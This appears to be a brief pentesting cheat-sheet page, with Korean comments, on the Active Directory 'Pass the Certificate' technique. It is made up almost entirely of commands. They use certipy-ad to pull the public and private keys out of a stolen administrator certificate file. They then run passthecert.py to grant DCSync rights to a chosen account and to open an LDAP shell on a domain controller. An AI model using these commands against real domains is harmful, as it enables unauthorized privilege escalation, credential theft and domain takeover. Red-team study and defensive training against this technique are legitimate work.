Pass the Certificate
Abuse
References
Last updated
# 인증서로부터 공개 키 / 비밀 키 덤프
certipy-ad cert -pfx administrator.pfx -nokey -out administrator.crt
certipy-ad cert -pfx administrator.pfx -nocert -out administrator.key
# Mick3y 계정에 DCSync 권한 부여
python3 passthecert.py -action modify_user -crt administrator.crt -key administrator.key -domain contoso.com -dc-ip 192.168.1.11 -target Mick3y -elevate
# ldap-shell 획득
python3 passthecert.py -action ldap-shell -crt administrator.crt -key administrator.key -domain contoso.com -dc-ip 192.168.1.11